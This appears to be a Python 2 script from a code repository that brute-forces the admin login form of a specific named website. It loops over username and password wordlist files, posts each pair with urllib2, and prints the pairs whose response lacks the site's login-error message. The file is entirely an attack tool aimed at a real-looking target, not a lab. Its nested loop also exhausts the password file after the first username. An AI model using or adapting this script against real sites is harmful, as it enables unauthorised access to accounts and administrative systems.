Newer
Older
py1 / shizhan / postUrl / postLogin.py
bello on 25 Sep 2017 2 KB postUrl
#! /usr/bin/python
# -*- coding:utf-8 -*-
import time
import re
import http
import tools
import urllib
import urllib2
import os
from socket import error as SocketError
from cookielib import CookieJar


class START:
    def __init__(self):
        self.URL = 'http://www.bapisi.cn/admin/login'

    def login(self, user, pwd):
        try:

            cj = CookieJar()
            cookieHandle = urllib2.HTTPCookieProcessor(cj)
            opener = urllib2.build_opener(cookieHandle)

            formdata = {
                'username': user,
                'password': pwd
            }
            data_encoded = urllib.urlencode(formdata)

            r = opener.open(self.URL, data_encoded, timeout=10)
            d = r.read()

            if d.find('登录出错') == -1:
                print d
                print user + ', ' + pwd
            # else:
                # print d


        except urllib2.HTTPError, e:
            print 'HTTPError: ' + str(e.code)
            return False
        except urllib2.URLError, e:
            print 'URLError: ' + str(e.reason)
            return False
        except SocketError as e:
            print 'SocketError: ' + str(e.errno)
            return False
        except Exception as e:
            print 'Exception' + str(e)
            return False



    # 按行读取文件到list
    def readFile(self, fileName):
        return open(fileName,'rU')



    # 程序开始执行
    def open(self):
        userFile = self.readFile('user')
        passFile = self.readFile('pass')
        try:
            for user in userFile:
                for pwd in passFile:
                    # print user.rstrip('\n') + ', ' + pwd.rstrip('\n')
                    # while self.login(user.rstrip('\n'), pwd.rstrip('\n')) is False:
                    #     print 'aa'
                        self.login(user.rstrip('\n'), pwd.rstrip('\n'))

        finally:
            userFile.close()
            passFile.close()

if __name__ == '__main__':
    t1 = time.time()
    START().open()
    t2 = time.time() - t1
    print '总共用时:' + str(t2)